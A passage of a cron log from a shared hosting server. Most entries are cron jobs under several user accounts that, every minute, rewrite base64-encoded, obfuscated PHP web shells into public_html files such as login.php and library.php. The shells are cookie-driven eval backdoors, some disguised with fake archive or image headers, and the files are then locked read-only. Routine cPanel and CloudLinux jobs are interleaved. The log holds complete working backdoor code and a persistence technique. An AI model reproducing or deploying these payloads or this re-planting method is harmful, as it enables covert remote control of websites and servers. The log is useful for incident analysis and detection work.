IHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:07:02 medusa CROND[21481]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:07:02 medusa CROND[21482]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 11:07:02 medusa CROND[21476]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:07:02 medusa CROND[21483]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:07:02 medusa CROND[21484]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:07:02 medusa CROND[21477]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:07:02 medusa CROND[21485]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:07:02 medusa CROND[21493]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:07:02 medusa CROND[21496]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:08:02 medusa CROND[23063]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Jun  7 11:08:02 medusa CROND[23064]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:08:02 medusa CROND[23065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:08:02 medusa CROND[23066]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:08:02 medusa CROND[23067]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:08:02 medusa CROND[23068]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:08:02 medusa CROND[23069]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:08:02 medusa CROND[23072]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 11:08:02 medusa CROND[23074]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:08:02 medusa CROND[23075]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:08:02 medusa CROND[23077]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:08:02 medusa CROND[23076]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 11:08:02 medusa CROND[23079]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:08:02 medusa CROND[23089]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:09:01 medusa CROND[24517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:09:01 medusa CROND[24518]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:09:01 medusa CROND[24519]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:09:01 medusa CROND[24520]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Jun  7 11:09:01 medusa CROND[24521]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:09:01 medusa CROND[24522]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:09:01 medusa CROND[24523]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
